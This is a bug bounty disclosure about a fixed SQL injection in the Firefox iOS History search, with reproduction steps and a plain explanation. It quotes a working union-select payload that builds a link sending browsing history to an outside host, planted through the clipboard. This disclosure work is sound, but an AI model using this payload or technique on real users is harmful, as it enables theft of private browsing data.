SQL injection in History tab on Firefox iOS
The History tab search in Firefox iOS built an SQL query by inserting the search term as a string, allowing SQL injection. An attacker could craft a search term that, when pasted, injected a union query to steal browsing history data and send it to a malicious page.
Originally disclosed on Mozilla
- Fixed in 11 days
- Paid in 23 days
- Disclosed after 11 days
Created attachment 9274589
history_sqli.mov
In Firefox iOS, the following SQL query incorporates the variable `searchTerm` as a string.
https://github.com/mozilla-mobile/firefox-ios/blob/b0efb5ad72289b40d912ae0fa9230b6a524679a0/Storage/SQL/SQLiteHistory.swift#L622
The `searchTerm` can be specified externally, so SQL injection can be triggered.
The steps to reproduce the injection are below.
(1) Visit https://csrf.jp/2022/fxios/history.php
(2) Tap the link on the page, and the attack payload will be stored in your clipboard
(3) Open History tab from the hamburger menu and tap the magnifying glass icon
(4) Paste the search word from your clipboard, then you can see the following payload in the text input field
`a" union select 1,'','https://csrf.jp/2022/fxios/history.php?'||group_concat(media_url), 'Click Me!',1,1,1,1,1 from page_metadata;`
(5) One history record that name is "click me!" is shown in the history list
(6) Tap the record, then your history data will be stolen to the malicious page
The attached is a video demonstration of the above attack.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Impact
An attacker could steal the victim's browsing history data by tricking them into pasting a crafted search term and tapping a resulting history entry.
What the attacker needed
Victim visits attacker's page; victim pastes into History search; victim taps the injected history entry
How it was found
- Visit the attacker's page that stores a malicious search term in the clipboard.
- Open the History tab from the hamburger menu and tap the magnifying glass icon.
- Paste the search term from the clipboard into the search field.
- A history record named 'Click Me!' appears in the list.
- Tap that record, and the stolen history data is sent to the malicious page.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
SQL injection is when user input is inserted directly into a database command, letting an attacker change the command's meaning. Here, the search box in the History tab did not treat the search text safely, so a specially crafted search could make the app run extra database instructions. That let the attacker read stored browsing history and send it to their own website.
What is SQL injection?
Input reaches a database query as code, letting an attacker read or change data the application never meant to expose.